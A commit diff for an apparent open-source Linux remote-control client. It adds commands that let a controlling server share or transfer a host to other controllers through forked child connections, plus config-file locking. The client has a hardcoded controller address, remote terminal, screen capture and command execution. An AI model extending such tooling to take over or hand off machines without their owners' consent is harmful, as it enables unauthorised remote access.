Feature: Share a Linux host to another master

Add COMMAND_SHARE (SHARE_TYPE_YAMA) with the Windows semantics: the
record goes into share_list and a second connection is opened to the
target master while the main link stays where it is. main()'s connection
state is all global, so each record is served by a forked
"--share <entry>" child that reuses the whole login, heartbeat and
command path; the parent only starts, tracks and reaps them.
COMMAND_SHARE_CANCEL clears the list and stops the children right away
(Linux can; Windows does it on the next start).

Transfer now opens its connection immediately too, matching the Windows
fallthrough that spawns a shared instance, and that temporary connection
is dropped once the main link has actually moved to the target or when
the transfer expires.

common/host_endpoint.h holds the ip/port/shine/transport word list the
two commands share; common/host_share.h holds the share payload,
share_list encoding and the per-master dedup.

Config writes now take a cross-process flock and replace the file by
rename. The parent and every child write the same config.conf from their
own snapshot, and a truncating overwrite could drop the other side's
keys. Children ignore the commands that only mean something on the main
link: share, transfer, upgrade, TLS anchor and group.

Verified in WSL against fake masters: share start, cancel and restore,
re-sharing with a different transport, share plus transfer on one master,
and the transfer child disappearing after the main link moved.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-07 23:21:44 +01:00
1 parent 7240879792
commit 2a97471b51
6 files changed
+743 -85

No files matched your search

+69
View File
@@ -0,0 +1,69 @@
#pragma once
#include <string>
#include <cstdlib>
#include "commands.h"
// ============== 主控端点的跨平台公共部分 ==============
//
// 「转移主机」和「分享主机」下发的是同一个概念:一个 ip:port,外加可选的
// Shine/HELL 头加密变体和传输方式(明文 / WS / WSS)。这段词表与具体命令无关,
// 单独放在这里,Linux 和 macOS 客户端的两个命令都复用(见 host_transfer.h、
// host_share.h)。
//
// 注意 CONNECT_ADDRESS 不参与跨线程同步(ServerIP() 读的时候还会就地解密),
// ApplyEndpoint/CaptureEndpoint 只能在连接生命周期的持有线程(主循环)调用。
namespace HostEndpoint {
// 一个连接端点。transport/headerEnc 为 -1 表示「不改变现有值」。
struct Endpoint {
std::string ip;
int port;
int transport; // PROTO_TCP / PROTO_WS / PROTO_WSS
int headerEnc; // PROTOCOL_SHINE / PROTOCOL_HELL(Windows 头加密变体)
Endpoint() : port(0), transport(-1), headerEnc(-1) {}
};
// 只认合法值。atoi 对非法串返回 0(正是 PROTO_TCP),不校验就会把一条本该走
// WSS 的链路静默降级成明文直连;headerEnc 同理由服务端决定,不能随意采信。
inline bool ParseTransport(const std::string& s, int& out)
{
if (s != std::to_string(PROTO_TCP) && s != std::to_string(PROTO_WS)
&& s != std::to_string(PROTO_WSS))
return false;
out = atoi(s.c_str());
return true;
}
inline bool ParseHeaderEnc(const std::string& s, int& out)
{
if (s != std::to_string(PROTOCOL_SHINE) && s != std::to_string(PROTOCOL_HELL))
return false;
out = atoi(s.c_str());
return true;
}
// 把端点写进连接参数。只在连接生命周期的持有线程调用(见文件头注释)。
inline void ApplyEndpoint(CONNECT_ADDRESS& conn, const Endpoint& ep)
{
if (ep.ip.empty() || ep.port <= 0)
return;
conn.SetServer(ep.ip.c_str(), ep.port);
if (ep.transport >= 0)
conn.protoType = (char)ep.transport;
if (ep.headerEnc >= 0)
conn.iHeaderEnc = ep.headerEnc;
}
// 记下当前连接参数。转移过期后靠它回到原主控。
inline Endpoint CaptureEndpoint(CONNECT_ADDRESS& conn)
{
Endpoint ep;
ep.ip = conn.ServerIP();
ep.port = conn.ServerPort();
ep.transport = (int)(unsigned char)conn.protoType;
ep.headerEnc = conn.iHeaderEnc;
return ep;
}
} // namespace HostEndpoint
+145
View File
@@ -0,0 +1,145 @@
#pragma once
#include <string>
#include <vector>
#include <cstdlib>
#include "host_endpoint.h"
// ============== 主机分享(COMMAND_SHARE + SHARE_TYPE_YAMA)的跨平台公共部分 ==============
//
// 服务端「分享主机」下发的载荷是 host:port:shine[:transport](见
// server/2015Remote/2015RemoteDlg.cpp ShareClient)。命令字节是 COMMAND_SHARE(59),
// 不是「转移主机」用的 COMMAND_ASSIGN_MASTER(207);Windows 客户端的 case 把两者
// 并在一起、靠 buf[1] 的类型字节区分,这里同样两个都收。和「转移主机」的区别:
// 转移改的是本实例的主连接,分享另起一条通往目标主控的连接,主连接原样保留。
// Windows 侧是同一进程里再起一个 ClientApp 线程(client/KernelManager.cpp、
// client/ClientDll.cpp 的 m_bShared 分支);Linux 侧由主实例 fork+exec 出一个
// 分享子进程,复用同一份登录/心跳/命令处理代码。
//
// 这里只放与平台无关的那一半:命令解析、share_list 的编解码与去重。平台侧只需要:
// 启动:读 share_list,每条起一个分享实例
// 收包:ParseCommand() → 持久化这条记录 → 起分享实例
// 取消:清空 share_list → 停掉所有分享实例
//
// 端点本身(ip/port + 可选的 Shine、传输方式)在 host_endpoint.h,与「转移主机」共用。
namespace HostShare {
using HostEndpoint::Endpoint;
// 把已拆好的 ip/port[/shine[/transport]] 字段转成端点。命令载荷和 share_list
// 记录用的是同一套字段顺序,解析逻辑共用一份,免得两处跑偏。
inline bool DecodeFields(const std::vector<std::string>& v, Endpoint& out)
{
if (v.size() < 2)
return false;
Endpoint ep;
ep.ip = v[0];
ep.port = atoi(v[1].c_str());
if (ep.ip.empty() || ep.port <= 0 || ep.port > 65535)
return false;
if (v.size() > 2 && !v[2].empty())
HostEndpoint::ParseHeaderEnc(v[2], ep.headerEnc); // 非法值保持 -1:沿用现有设置
if (v.size() > 3 && !v[3].empty())
HostEndpoint::ParseTransport(v[3], ep.transport);
out = ep;
return true;
}
// 解析分享载荷(buf[1] = SHARE_TYPE_YAMA)。命令字节收 COMMAND_SHARE 和
// COMMAND_ASSIGN_MASTER 两种:前者是现在服务端发的,后者是老服务端/转移命令共用
// 的那个值(转移用 SHARE_TYPE_YAMA_FOREVER,靠 buf[1] 区分)。
inline bool ParseCommand(const unsigned char* buf, unsigned long len, Endpoint& out)
{
if (buf == NULL || len < 3)
return false;
if ((buf[0] != COMMAND_SHARE && buf[0] != COMMAND_ASSIGN_MASTER)
|| buf[1] != SHARE_TYPE_YAMA)
return false;
// 整块 sizeof(bToken) 缓冲、尾部零填充:先按 ulLength 截取,再在第一个 NUL 处
// 截断,两个边界都守住才不会读到缓冲区外。
std::string payload((const char*)buf + 2, (size_t)len - 2);
size_t nul = payload.find('\0');
if (nul != std::string::npos)
payload.resize(nul);
return DecodeFields(StringToVector(payload, ':', 4), out);
}
// share_list 的单条记录:ip:port[:shine[:transport]],与 Windows 客户端写进
// settings/share_list 的格式一致(第 3 段是 Shine,第 4 段才是传输方式——顺序不能反,
// 反了重启后会被当成 Shine 解析)。
inline std::string EncodeEntry(const Endpoint& ep)
{
std::string s = ep.ip + ":" + std::to_string(ep.port);
if (ep.headerEnc < 0 && ep.transport < 0)
return s;
// 传输方式落在第 4 段,第 3 段(Shine)缺省时必须占位,否则重启后
// "ip:port:2" 会被当成 Shine=2 而不是传输方式 2。
s += ":";
if (ep.headerEnc >= 0)
s += std::to_string(ep.headerEnc);
if (ep.transport >= 0)
s += ":" + std::to_string(ep.transport);
return s;
}
inline bool DecodeEntry(const std::string& s, Endpoint& out)
{
if (s.empty())
return false;
return DecodeFields(StringToVector(s, ':', 4), out);
}
// "ip:port" —— 去重只比这两段。同一条分享目标换了传输方式(重新分享成 WSS)时
// 第 3/4 段会变,按整条比会被判成「新条目」,同一个主控留下两条记录 → 同一 clientID
// 起两个分享实例,登录时互相踢。
inline std::string MasterKey(const Endpoint& ep)
{
return ep.ip + ":" + std::to_string(ep.port);
}
inline std::vector<std::string> Split(const std::string& list)
{
std::vector<std::string> items;
if (list.empty())
return items;
for (auto& s : StringToVector(list, '|'))
if (!s.empty())
items.push_back(s);
return items;
}
inline std::string Join(const std::vector<std::string>& items)
{
return VectorJoin(items, '|');
}
inline size_t Count(const std::string& list)
{
return Split(list).size();
}
// 追加一条记录:同一 ip:port 的旧记录被替换(传输方式以最新一次下发为准)。
// 返回新的 share_list 字符串。
inline std::string AddEntry(const std::string& list, const std::string& entry)
{
Endpoint add;
if (!DecodeEntry(entry, add))
return list;
const std::string key = MasterKey(add);
std::vector<std::string> items = Split(list);
bool replaced = false;
for (auto& item : items) {
Endpoint old;
if (DecodeEntry(item, old) && MasterKey(old) == key) {
item = entry;
replaced = true;
}
}
if (!replaced)
items.push_back(entry);
return Join(items);
}
} // namespace HostShare
+8 -56
View File
@@ -1,10 +1,9 @@
#pragma once
#include <string>
#include <cstdlib>
#include <cstring>
#include "commands.h"
#include "host_endpoint.h"
// ============== 主机转移(COMMAND_ASSIGN_MASTER)的跨平台公共部分 ==============
// ============== 主机转移(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA_FOREVER)==============
//
// 服务端「转移主机」下发的载荷是 host:port:days:shine[:transport](见
// server/2015Remote/2015RemoteDlg.cpp assignFunction)。内核部分在
@@ -14,19 +13,14 @@
// 收包:ParseAssignCommand() → 写配置记录 + 交给主线程 ApplyTarget
// 心跳:now > validTo 时 ApplyEndpoint(原主控) 并重连
//
// 注意 CONNECT_ADDRESS 不参与跨线程同步(ServerIP() 读的时候还会就地解密),
// ApplyTarget/ApplyEndpoint 只能在连接生命周期的持有线程(主循环)调用。
// 端点本身(ip/port + 可选的 Shine、传输方式)在 host_endpoint.h,与「分享主机」共用。
namespace HostTransfer {
// 一个连接端点。transport/headerEnc 为 -1 表示「不改变现有值」。
struct Endpoint {
std::string ip;
int port;
int transport; // PROTO_TCP / PROTO_WS / PROTO_WSS
int headerEnc; // PROTOCOL_SHINE / PROTOCOL_HELL(Windows 头加密变体)
Endpoint() : port(0), transport(-1), headerEnc(-1) {}
};
using HostEndpoint::Endpoint;
using HostEndpoint::ParseTransport;
using HostEndpoint::ParseHeaderEnc;
using HostEndpoint::ApplyEndpoint;
using HostEndpoint::CaptureEndpoint;
// 一条转移记录:目标端点 + 到期时间(unix 秒)。
struct Target {
@@ -38,25 +32,6 @@ struct Target {
bool Active(long long now) const { return Valid() && now <= validTo; }
};
// 只认合法值。atoi 对非法串返回 0(正是 PROTO_TCP),不校验就会把一条本该走
// WSS 的链路静默降级成明文直连;headerEnc 同理由服务端决定,不能随意采信。
inline bool ParseTransport(const std::string& s, int& out)
{
if (s != std::to_string(PROTO_TCP) && s != std::to_string(PROTO_WS)
&& s != std::to_string(PROTO_WSS))
return false;
out = atoi(s.c_str());
return true;
}
inline bool ParseHeaderEnc(const std::string& s, int& out)
{
if (s != std::to_string(PROTOCOL_SHINE) && s != std::to_string(PROTOCOL_HELL))
return false;
out = atoi(s.c_str());
return true;
}
// 解析一条完整的 COMMAND_ASSIGN_MASTER 命令体(buf[0]=命令,buf[1]=转移类型)。
// now 由调用方传入,便于测试和统一时间口径。days <= 0 视为无效:服务端只有在
// 天数 > 0 时才写 valid_to,零天数的记录在 Windows 侧同样不会生效。
@@ -122,32 +97,9 @@ inline bool DecodeRecord(const std::string& s, Target& out)
return true;
}
// 把端点写进连接参数。只在连接生命周期的持有线程调用(见文件头注释)。
inline void ApplyEndpoint(CONNECT_ADDRESS& conn, const Endpoint& ep)
{
if (ep.ip.empty() || ep.port <= 0)
return;
conn.SetServer(ep.ip.c_str(), ep.port);
if (ep.transport >= 0)
conn.protoType = (char)ep.transport;
if (ep.headerEnc >= 0)
conn.iHeaderEnc = ep.headerEnc;
}
inline void ApplyTarget(CONNECT_ADDRESS& conn, const Target& t)
{
ApplyEndpoint(conn, t.ep);
}
// 记下当前连接参数作为「原主控」,转移过期后靠它恢复。
inline Endpoint CaptureEndpoint(CONNECT_ADDRESS& conn)
{
Endpoint ep;
ep.ip = conn.ServerIP();
ep.port = conn.ServerPort();
ep.transport = (int)(unsigned char)conn.protoType;
ep.headerEnc = conn.iHeaderEnc;
return ep;
}
} // namespace HostTransfer
+40 -12
View File
@@ -3,6 +3,10 @@
#include <map>
#include <fstream>
#include <sys/stat.h>
#include <sys/file.h>
#include <fcntl.h>
#include <unistd.h>
#include <cstdio>
#include <cstdlib>
// ============== 轻量 INI 配置文件读写(Linux)==============
@@ -34,8 +38,7 @@ public:
void SetStr(const std::string& key, const std::string& value)
{
m_data[key] = value;
Save();
SetValue(key, value);
}
int GetInt(const std::string& key, int def = 0) const
@@ -49,8 +52,7 @@ public:
void SetInt(const std::string& key, int value)
{
m_data[key] = std::to_string(value);
Save();
SetValue(key, std::to_string(value));
}
// 重新加载配置
@@ -73,17 +75,43 @@ private:
}
}
void Save()
// 写一个键。主实例和分享子进程写的是同一个文件,各持一份整文件快照、整文件覆盖
// 写,所以必须「拿跨进程锁 -> 重读 -> 改一个键 -> 原子替换」:不重读会把对方刚
// 写的键(比如 transfer)整个抹掉,不原子替换则可能被读到写了一半的文件。
void SetValue(const std::string& key, const std::string& value)
{
// 递归创建目录(mkdir -p 效果)
MkdirRecursive(m_dir);
std::ofstream f(m_path, std::ios::trunc);
if (!f.is_open()) {
return; // 打开失败
}
for (auto& kv : m_data) {
f << kv.first << "=" << kv.second << "\n";
// O_CLOEXEC:锁 fd 不能漏给 fork+exec 出来的分享子进程,否则它会把锁一直
// 持有到自己退出。close() 即释放 flock。
int lockFd = open((m_path + ".lock").c_str(), O_CREAT | O_RDWR | O_CLOEXEC, 0644);
if (lockFd >= 0)
flock(lockFd, LOCK_EX);
Load();
m_data[key] = value;
SaveAtomic();
if (lockFd >= 0)
close(lockFd);
}
// 先写同目录临时文件再 rename:同一文件系统内 rename 是原子的,读者要么看到
// 旧文件、要么看到新文件,不会读到截断到一半的内容。
void SaveAtomic()
{
const std::string tmp = m_path + ".tmp." + std::to_string((long)getpid());
{
std::ofstream f(tmp, std::ios::trunc);
if (!f.is_open())
return; // 打开失败:保留旧文件
for (auto& kv : m_data)
f << kv.first << "=" << kv.second << "\n";
f.flush();
if (!f) {
remove(tmp.c_str());
return;
}
}
if (rename(tmp.c_str(), m_path.c_str()) != 0)
remove(tmp.c_str());
}
// 递归创建目录
+42 -4
View File
@@ -29,7 +29,8 @@ SimpleRemoter 的 Linux 客户端,支持远程桌面、远程终端、文件
| 屏幕预览(缩略图) | `ScreenPreview.cpp` | `client/ScreenPreview.cpp` | ✅ 完整(X11 抓屏 → 缩放 → 原始 BGRA 上报,由服务端统一编码 JPEG;双击预览、列表缩略图、MCP `get_screenshot` 均可用。无 `DISPLAY` 时不声明能力位,服务端不会发请求) |
| V2 文件传输 | `FileTransferV2.h` | `file_upload.h` | ✅ 服务端↔Linux(含 MCP `upload_file`/`download_file`:发送完成包带流式 SHA-256,路径不存在/无权限回 `TOKEN_DOWNLOAD_ERROR`) |
| C2C 文件接收 | `FileTransferV2.h` | `file_upload.h` | ✅ Windows/MCP → Linux(目标目录由服务端 `dst_dir` 指定,落盘后回执) |
| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,重连生效;到期自动回原主控。主机分享未实现) |
| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,下发后立即另起一条连接,主连接重连时生效;到期自动回原主控并收掉那条连接) |
| 主机分享 | `common/host_share.h` + main.cpp | `KernelManager.cpp` / `ClientDll.cpp` | ✅ 完整(每条分享记录 fork 一个 `--share` 子进程,主连接不受影响;取消分享立即断开,重启自动恢复) |
| 配置持久化 | `LinuxConfig` | INI 文件 | ✅ 完整 |
| MCP 远程管理 | 复用 `SystemManager.h` / `PTYHandler.h` / `ScreenHandler.h` | 服务端 MCP | ✅ 档 1:`kill_process`、`exec_command`、`terminal_open/exec/close`、`remote_open/close/mouse/keyboard/clipboard`(服务端放开门禁,客户端协议本已实现) |
@@ -217,17 +218,53 @@ Windows 客户端的同名命令没有摘要(走内存加载器/更新器)
服务端选中一台主机后点「转移主机」,选目标主控和有效天数,客户端会:
1. 把目标写进 `~/.config/ghost/config.conf` 的 `transfer` 键(`ip:port:transport:shine:valid_to`);
2. **不立刻断开**,当前连接照常维持,下一次重连(断线重连、客户端重启)才连到新主控;
3. 过了有效天数自动回到转移前的原主控——原地址只记在内存里(启动参数或编译期默认),
不写回配置,所以重启后仍然有效。
2. **立即另起一条通往新主控的连接**(与分享同一个 fork+exec 机制),新主控马上就能看到
这台主机上线;它与老主控之间的主连接原样保留,不会断开;
3. 下一次重连(断线重连、客户端重启)时主连接才搬到新主控,那条临时连接随之消失;
4. 过了有效天数自动回到转移前的原主控——原地址只记在内存里(启动参数或编译期默认),
不写回配置,所以重启后仍然有效;到期时那条临时连接一并收掉。
第 2 步与 Windows 客户端现有的实际行为一致(`KernelManager.cpp` 的转移分支会贯穿到分享
分支、额外起一个 shared 实例);差别只在到期处理:Windows 那条连接要等进程重启才消失。
注意事项:
- 目标是永久转移(天数填 0)时客户端会拒绝,避免把主机改到一个不可达的地址后无法回退;
- 有效期内重复下发会被忽略(与 Windows 客户端一致);
- 转移期间切换传输方式(明文 / WS / WSS)会跟随服务端下发的 `transport` 段;
- 「取消分享」不会影响转移建立的临时连接;
- 只想把主机要回来,直接把 `transfer` 键清空并重启客户端即可。
## 主机分享
服务端选中一台主机后点「分享主机」,填目标主控地址,客户端会:
1. 把记录追加进 `~/.config/ghost/config.conf` 的 `share_list` 键
(多条用 `|` 分隔,每条 `ip:port[:shine[:transport]]`,与 Windows 的
`settings/share_list` 格式一致);
2. **不动主连接**,另起一个子进程 `<exe> --share <记录>` 连到目标主控。
子进程复用同一份登录/心跳/命令处理代码,有自己的日志文件
(`log_<月份>_<pid>.txt`)和自己的重连循环。
跨平台部分在 `common/host_share.h`(命令解析、记录编解码、按 `ip:port` 去重),
macOS 可直接复用。
注意事项:
- 同一个 `ip:port` 只保留一条记录,换了传输方式会替换旧记录并重启对应的子进程;
完全相同的记录重复下发会被忽略,不会断开已有分享连接;
- 分享实例不再响应「分享主机」「转移主机」「升级程序」——分享链不能一层套一层,
二进制也不能几个进程同时替换;
- 「取消分享」在 Linux 上**立即生效**(Windows 是清空配置、下次启动才生效),
会杀掉所有分享子进程并清空 `share_list`;「转移主机」建立的那条连接不属于分享,
不受影响;
- 主实例退出(含被 `kill -9`)时子进程跟着退出(`PR_SET_PDEATHSIG`);
- 分享链路的传输方式在分享那一刻固定,之后主连接切 TCP/WS/WSS 不会影响它;
- **TLS 信任锚是整机一份**(`TlsEnabledFor` 只看进程,不看目标主控),而
`COMMAND_TLS_ENABLE` / `COMMAND_TLS_DISABLE` 只作用于主连接、分享实例不处理。
所以分享到一台不在当前信任锚覆盖范围内的主控时,子进程会按 fail-closed 直接
握手失败、反复重连;要么先给这台主机装好包含该主控 CA 的信任锚,要么用明文分享。
## 常见问题
### Q: 远程桌面功能不工作
@@ -331,6 +368,7 @@ loginctl show-session $(loginctl | grep $(whoami) | awk '{print $1}') -p Type
| `GeoLocation` | 地理位置缓存 | `北京市` |
| `QualityLevel` | 屏幕质量等级 | `2` (Good / H264 1080P) |
| `transfer` | 主机转移记录(空 = 未转移),见「主机转移」 | `1.2.3.4:443:6:0:1790000000` |
| `share_list` | 主机分享记录(空 = 未分享),竖线分隔,见「主机分享」 | `1.2.3.4:443:0:6` |
### 质量等级说明
+439 -13
View File
@@ -4,6 +4,7 @@
#include <sys/utsname.h>
#include <sys/sysinfo.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <pwd.h>
#include <string.h>
#include <termios.h>
@@ -11,6 +12,7 @@
#include <fcntl.h>
#include <atomic>
#include <mutex>
#include <algorithm>
#include <cerrno>
#include <csignal>
#include <sys/wait.h>
@@ -41,6 +43,7 @@
#include "common/posix_net_helpers.h"
#include "common/sub_conn_thread.h"
#include "common/host_transfer.h"
#include "common/host_share.h"
#include "LinuxConfig.h"
#include <openssl/evp.h>
#include <cctype>
@@ -48,6 +51,16 @@
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength);
// 主机分享/转移的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用)
// 分享子进程与转移子进程都走同一套 fork+exec 管理,只是归属不同:
// KIND_SHARE 「取消分享」只停这些
// KIND_TRANSFER 转移到期时停这些(提前建立的那条连接)
// KIND_ALL 主实例退出时全停
enum ManagedKind { KIND_SHARE, KIND_TRANSFER, KIND_ALL };
static bool StartShareInstance(const std::string& entry);
static bool StartTransferInstance(const std::string& entry);
static void StopChildren(ManagedKind kind);
static void StartShareInstancesFromConfig();
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
@@ -71,6 +84,29 @@ static std::atomic<bool> g_transferPending(false); // 接收线程已写下
static std::mutex g_transferMu; // 保护 g_transferPendingTarget
static HostTransfer::Target g_transferPendingTarget;
// ============== 主机分享(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA)==============
// 分享不改主连接,而是另起一条通往目标主控的连接。main() 的连接状态全是全局量
// (g_SETTINGS / g_bExit / g_pMainClient / 心跳节奏 / 登录参数),线程化要逐个
// 参数化,改动面比功能本身还大;这里由主实例给每条分享记录 fork+exec 一个
// `--share <entry>` 子进程,子进程直接复用同一份登录、心跳和命令处理代码。
// 解析与 share_list 编解码在 common/host_share.h(macOS 客户端可直接复用)。
static bool g_bShareInstance = false; // 本进程是分享子进程
static std::mutex g_shareMu; // 保护 g_shareProcs
// 子进程 pid 和它启动时用的那条记录:判断「同一条分享」只能比这条记录,不能比配置
// 里的——命令处理是先写配置再起进程,配置里已经是新记录了。
// transfer=true 表示这是「转移主机」立即建立的那条连接(见 StartTransferInstance),
// 它不进 share_list、不受「取消分享」影响。
struct ShareProc {
pid_t pid;
std::string entry;
bool transfer;
};
static std::map<std::string, ShareProc> g_shareProcs; // "ip:port" / "transfer:ip:port" -> 子进程
// 分享条目上限:每条都对应一个常驻子进程,服务端误发/恶意刷下发不能把进程表打爆。
static const size_t kMaxShareEntries = 16;
static std::atomic<bool> g_shareReaperStop(false);
static std::thread g_shareReaperThread; // 退出前 join,别让它去碰已停的日志
// 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行,
// 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。
static int g_argc = 0;
@@ -536,6 +572,8 @@ static void CheckTransferExpiry()
g_needReconnect.store(true, std::memory_order_relaxed);
Mprintf(">>> Transfer expired: restoring %s:%d\n",
g_transferOrig.ip.c_str(), g_transferOrig.port);
// 转移时提前建立的那条连接也要收掉,否则过期后主机仍挂在新主控上。
StopChildren(KIND_TRANSFER);
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
@@ -643,6 +681,12 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
}
} else if (szBuffer[0] == CMD_SET_GROUP) {
// 分组是本机属性,写的是同一份 config.conf:分享实例改了,主机在主控 A 上的
// 分组也会跟着变,而这条命令是主控 B 下发的。交给主实例处理。
if (g_bShareInstance) {
Mprintf("** [%p] SET_GROUP ignored: running as share instance ***\n", user);
return TRUE;
}
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
@@ -666,7 +710,10 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
// 服务端下发信任锚证书(载荷与 Windows 一致:szBuffer+1 起为 PEM 正文)。
// Windows 写注册表 settings\tls_cert;Linux 写 ~/.config/ghost/yama-ca.pem。
// 与 Windows 不同:Linux 落盘后热重载并重连,立即切换(Windows 仍需重启进程)。
if (ulLength > 1) {
// 分享实例不理会:信任锚是整机一份,跟着分享目标主控切换会把主连接也一起换掉。
if (g_bShareInstance) {
Mprintf("** [%p] TLS_ENABLE ignored: running as share instance ***\n", user);
} else if (ulLength > 1) {
std::string pem((char*)szBuffer + 1, ulLength - 1);
std::string err;
if (TlsTrustAnchorSave(pem, err)) {
@@ -681,17 +728,58 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
}
} else if (szBuffer[0] == COMMAND_TLS_DISABLE) {
// 撤销信任锚:删除配置文件并热重载,当前连接若是 TLS 就重连回明文。
std::string err;
if (TlsTrustAnchorRemove(err)) {
Mprintf("** [%p] TLS trust anchor removed ***\n", user);
ApplyTlsAnchorChange(user);
// 分享实例同理不理会(见上面 TLS_ENABLE)。
if (g_bShareInstance) {
Mprintf("** [%p] TLS_DISABLE ignored: running as share instance ***\n", user);
} else {
Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str());
std::string err;
if (TlsTrustAnchorRemove(err)) {
Mprintf("** [%p] TLS trust anchor removed ***\n", user);
ApplyTlsAnchorChange(user);
} else {
Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str());
}
}
} else if ((szBuffer[0] == COMMAND_SHARE || szBuffer[0] == COMMAND_ASSIGN_MASTER)
&& ulLength > 1 && szBuffer[1] == SHARE_TYPE_YAMA) {
// 「分享主机」:host:port:shine[:transport],解析见 common/host_share.h。
// 命令字节是 COMMAND_SHARE;COMMAND_ASSIGN_MASTER 一起收,与 Windows 客户端的
// case 合并写法保持一致(转移用 buf[1]=SHARE_TYPE_YAMA_FOREVER,走下面的分支)。
// 分享不改本实例的主连接,而是另起一条通往目标主控的连接——主实例 fork 一个
// 分享子进程来做;子进程收到同一条命令时不能再分享,否则会一链套一链。
if (g_bShareInstance) {
Mprintf("** [%p] SHARE ignored: running as share instance ***\n", user);
return TRUE;
}
HostShare::Endpoint ep;
if (!HostShare::ParseCommand(szBuffer, ulLength, ep)) {
Mprintf("** [%p] SHARE: malformed payload, ignored ***\n", user);
return TRUE;
}
// 落盘再起进程:进程起不来(fork 失败)也只丢这一次,下次启动仍会按配置重连。
std::string entry = HostShare::EncodeEntry(ep);
LinuxConfig cfg;
const std::string oldList = cfg.GetStr("share_list");
const std::string newList = HostShare::AddEntry(oldList, entry);
// 新目标才占名额;同一主控重新下发只是替换记录,不受上限影响。
if (newList != oldList && HostShare::Count(newList) > kMaxShareEntries) {
Mprintf("** [%p] SHARE to %s ignored: share_list is full (%d) ***\n",
user, HostShare::MasterKey(ep).c_str(), (int)kMaxShareEntries);
return TRUE;
}
cfg.SetStr("share_list", newList);
Mprintf("** [%p] SHARE to %s (entry=%s) ***\n",
user, HostShare::MasterKey(ep).c_str(), entry.c_str());
StartShareInstance(entry);
} else if (szBuffer[0] == COMMAND_ASSIGN_MASTER) {
// 「转移主机」:host:port:days:shine[:transport],解析见 common/host_transfer.h。
// 载荷非法时什么都不做——绝不能把脏数据当成有效转移,否则一台上线中的主机会
// 被改到一个不存在的地址上去。
// 分享实例不处理转移:转移属于主连接,改了会把分享链路带到别的主控去。
if (g_bShareInstance) {
Mprintf("** [%p] ASSIGN ignored: running as share instance ***\n", user);
return TRUE;
}
HostTransfer::Target t;
long long now = (long long)time(nullptr);
if (!HostTransfer::ParseAssignCommand(szBuffer, ulLength, now, t)) {
@@ -715,10 +803,33 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
g_transferValidTo.store(t.validTo, std::memory_order_relaxed);
LinuxConfig cfg;
cfg.SetStr("transfer", HostTransfer::EncodeRecord(t));
Mprintf("** [%p] ASSIGN to %s:%d for %llds, applying on next reconnect ***\n",
// 立即再起一条通往新主控的连接,新主控马上就能看到这台主机上线;本实例与老主控
// 的主连接原样保留,下次重连(含重启)才轮到主连接过去。这与 Windows 客户端
// 现有语义一致:KernelManager 的转移分支末尾没有 break,会贯穿到分享分支,
// 额外起一个 shared 实例连到同一个目标地址。
Mprintf("** [%p] ASSIGN to %s:%d for %llds, main link moves on next reconnect ***\n",
user, t.ep.ip.c_str(), t.ep.port, t.validTo - now);
StartTransferInstance(HostShare::EncodeEntry(t.ep)); // 新主控立即看到上线
} else if (szBuffer[0] == COMMAND_SHARE_CANCEL) {
// 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 那边是同一进程里
// 的线程,取消只改配置、下次启动才生效;Linux 的分享实例本来就是独立进程,
// 可以立即断开。
if (g_bShareInstance) {
Mprintf("** [%p] SHARE_CANCEL ignored: running as share instance ***\n", user);
return TRUE;
}
LinuxConfig cfg;
cfg.SetStr("share_list", "");
Mprintf("** [%p] SHARE_CANCEL: stopping all share instances ***\n", user);
StopChildren(KIND_SHARE);
} else if (szBuffer[0] == COMMAND_UPDATE) {
// 服务端"升级程序"菜单下发新版本 ELF
// 服务端"升级程序"菜单下发新版本 ELF。
// 分享实例不升级:二进制是主实例和所有分享实例共用的,好几个进程同时替换
// 同一个文件只会互相踩,升级交给主连接那台主控做。
if (g_bShareInstance) {
Mprintf("** [%p] UPDATE ignored: running as share instance ***\n", user);
return TRUE;
}
Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength);
ApplySelfUpdate(szBuffer, ulLength);
} else {
@@ -1072,6 +1183,280 @@ static void setupSignals()
signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略
}
// ============== 主机分享:分享子进程管理 ==============
// 每条分享记录对应一个子进程:`<exe> --share <ip:port[:shine[:transport]]>`。子进程
// 有自己的连接、日志文件(log_*_<pid>.txt)和重连循环,复用 main() 的全部逻辑;主实例
// 只负责起停和收尸。
static void ShareReaperLoop()
{
while (!g_shareReaperStop.load(std::memory_order_relaxed)) {
{
std::lock_guard<std::mutex> lk(g_shareMu);
for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) {
int st = 0;
pid_t r = waitpid(it->second.pid, &st, WNOHANG);
if (r == it->second.pid) {
const char* kind = it->second.transfer ? "Transfer instance" : "Share instance";
if (WIFEXITED(st))
Mprintf(">>> %s %s exited (code %d)\n",
kind, it->first.c_str(), WEXITSTATUS(st));
else if (WIFSIGNALED(st))
Mprintf(">>> %s %s exited by signal %d\n",
kind, it->first.c_str(), WTERMSIG(st));
else
Mprintf(">>> %s %s exited\n", kind, it->first.c_str());
it = g_shareProcs.erase(it);
